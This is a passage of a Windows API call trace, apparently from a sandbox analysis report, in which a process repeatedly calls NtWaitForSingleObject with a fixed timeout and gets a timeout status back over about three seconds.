	[0051.155] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.165] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.175] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.187] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.198] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.211] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.224] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.234] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.244] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.254] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.266] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.276] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.288] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.298] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.308] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.318] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.329] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.339] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.349] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.359] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.369] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.379] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.390] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.401] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.411] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.421] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.431] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.442] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.452] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.465] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.475] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.485] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.496] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.505] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.515] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.527] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.537] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.547] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.559] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.569] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.579] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.591] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.601] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.612] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.622] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.634] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.644] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.655] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.665] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.675] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.686] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.695] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.705] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.715] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.726] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.736] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.747] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.757] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.768] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.778] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.789] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.799] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.811] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.821] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.833] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.843] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.866] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.879] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.889] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.899] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.909] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.920] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.935] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.945] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.955] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.966] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.978] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0051.989] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.000] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.010] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.020] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.030] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.044] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.055] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.065] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.075] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.086] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.097] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.108] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.119] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.131] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.142] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.151] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.162] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.174] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.185] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.195] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.205] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.218] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.228] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.249] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.260] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.270] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.285] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.295] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.306] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.317] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.329] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.340] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.351] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.373] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.385] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.396] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.405] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.416] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.435] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.445] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.455] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.466] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.488] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.497] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.509] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.519] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.529] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.540] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.551] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.561] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.574] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.585] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.596] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.606] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.626] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.638] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.648] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.658] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.668] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.678] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.688] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.700] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.779] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.879] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.892] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.909] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.942] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.981] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0052.997] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.009] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.022] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.031] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.041] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.051] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.061] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.071] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.081] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.093] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.104] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.114] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.124] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.136] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.146] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.158] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.168] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.178] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.190] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.201] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.212] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.232] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.242] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.255] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.265] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.275] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.287] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.298] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.308] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.363] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.373] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.383] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.393] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.403] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.415] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.425] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.435] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.448] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.459] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.470] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.481] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.492] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.504] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.515] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.528] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.538] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.551] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.561] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.571] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.585] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.597] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.609] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.620] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.631] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.645] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.661] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.670] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.681] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.691] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.701] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.711] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.721] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.743] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.753] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.763] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.774] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.784] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.794] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.806] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.816] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.826] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.837] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.847] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.858] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.870] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.880] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.891] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.900] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.910] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.920] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.934] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.944] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.954] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.964] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.974] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.984] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0053.994] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.006] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.016] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.027] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.038] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.048] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.058] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.069] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.080] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.090] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.100] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.110] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.120] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.132] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.143] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.153] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.164] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.179] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.193] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.203] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.213] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.224] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.236] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.245] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.255] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.267] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.281] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.292] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.302] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.312] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.324] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.334] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.345] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.355] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.365] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.376] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.389] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.398] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.408] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.418] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.430] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0054.439] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
